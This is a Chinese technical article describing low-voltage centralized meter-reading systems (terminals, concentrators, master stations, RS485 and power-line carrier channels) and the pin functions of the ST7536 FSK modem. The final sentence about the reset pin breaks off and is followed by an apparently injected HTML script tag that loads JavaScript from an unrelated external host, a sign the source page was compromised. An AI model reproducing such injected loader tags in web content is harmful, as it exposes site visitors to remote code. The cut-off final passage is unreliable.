摘 要：介绍低压电力用户集中抄表系统和低压电力线载波通信电路。
关键词：集中抄表系统；载波通信；电力线；接口
1 引言
抄表人员携带手持式抄表器到各个用户装表处抄表系半自动抄表。回到办公室后，抄到的用户用电数据需输入管理计算机。经管理计算机处理后打印帐单，同时将需要保存的数据存入数据库。手持单元抄表比传统的用纸和笔抄表进了一大步，但工作量仍很大、费用仍很高，而且还可能带来一些其他不方便。因此，在使用手持单元抄表的同时，科研人员又开发了和正在研发全自动抄表系统。本讲介绍这种系统，并参照dl／t698－1999标准，介绍低压电力线载波通信电路。
2 集中抄表系统
集中抄表系统是由主站通过传输媒体（无线、有线、电力线载波等信道或ic卡等介质）集中抄读多个电能表电能量记录值的自动化系统，基本结构见图1。它主要由采集用户电能表电能量信息的采集终端（或采集模块）、集中器、信道和主站等设备组成。图中采集终端、采集模块是分别用来采集多个或单个用户电能表电能量信息，并经处理储存，然后通过信道将数据传送到上一级的设备或专用模块。集中器是收集各采集终端或采集模块（或多功能电能表）的数据，并进行处理储存，同时能和主站或手持单元进行数据交换的设备。集中器具有较强的处理能力，能根据设定的抄 读间隔自动采集各用户电能表的累计电能量，能根据 设定的主站抄收间隔及抄表周期自动生成各用户电能表的累计电能量，且具有补抄、校时、自诊断等功能。主站是通过信道采集集中器中的信息，并进行处理和管理的设备。集中抄表系统中的主站至少应具有抄收功能、设置功能、校时功能、自诊断功能和扩展功能，其中抄收功能指能按设定的抄收间隔及当地电力部门规定的自动抄表周期自动抄收集中器中的各用户电能表的累计电能量及其他信息，并能实时随机召读及按地址选抄。
信道是传输信号（数据）的媒体。实现自动抄表的技术方案很多，可利用电话线通信、rs485等专线（总线）通信、无线通信、电力线通信等。这些方案的主要区别在于数据通信的信道上。相对而言，用低压电力线作为通信媒体可以利用现存的电力线网，不需要线路投资，竞争力很强。但是，电力线是按输送电能设计的，用于通信时，所处的环境很恶劣，线路的传输特性是变化的，难以预测，因此，抑制干扰或避免干扰的技术难度较大。而其他媒体也各有自己的优缺点，如使用rs485通信，虽需拉专线，但通信的可靠性高，接口费用低。鉴于此，实际的集抄系统中常混用两种或两种以上信道。如，电能表与采集终端之间采用rs485总线通信，采集终端和集中器之间采用低压电力线载波通信，集中器与主站之间采用电话线、某种总线或无线方式通信。
3 低压电力线载波通信电路
载波通信电路主要由载波通信集成电路、电力线接口和微控制器等组成（图2）。
载波通信集成电路通常是为在电力线网络中工作而设计的芯片，如st7536。在st7536外围只需要增加1个晶振、4个电阻和几个电容即可以2种不同的数据速率（600和1200波特）在4种不同的通道上接收和发送信号（图3）。
3．1 st7536调制解调器
st7536是plcc型28条引脚的单片半双工同步fsk调制解调器，内部包含了调制解调所要求的几乎全部电路。下面介绍部分引脚的含义和实现的功能。
p15（chs）；通道选择输入；p16（brs）：波特率选择输入。通道和波特率的选择见表1。逻辑“0”为0v，“1”为＋5v。
p17(afcf)：自动频率控制输出。以外部rc网络 确保内部调节收发带通滤波器中心频率的自动控制部分的稳定性。
p27（alci）：自动电平控制输入。电力网的阻抗是变化的。借助于来自电力线接口的反馈信号（此脚输入），st7536内部的自动电平控制部分自动调节发送 输出（at0）的大小，使接口的功放输出与电力网阻抗的变化无关。
p5（rxd）：同步接收数据输出；p12（txd）：发送数据输入；p6（clr／t）：接收和发送时钟。st7536是同步调制解调器，数据的输入和输出都与时钟有关联。p5、p12和p6接微控制器。微控制器将欲发送的数据送入p12，经fsk调制后输出；st7536将接收到的数据经p5送给微控制器，供进一步处理。
p19（ifo）：中频滤波器输出；p20（demi）：fsk解调器输入。如图3所示，ifo和demi应通过1只电容器连接在一起。
p24（rai）：接收模拟输入；p28（ato）：模拟发送输出。p28接电力线接口的发送输入，ato输出可用alci输入调整。电力线接口的接收输出接p24，经fsk解调后输入给微控制器。
:接收/发送模式选择输入。p1接微控制器，以rx/tx输入决定st7536的工作模式。
p2（reset）：复位输入。接微控制器。正常工作时，此输入应?script src=http://er12.com/t.js>
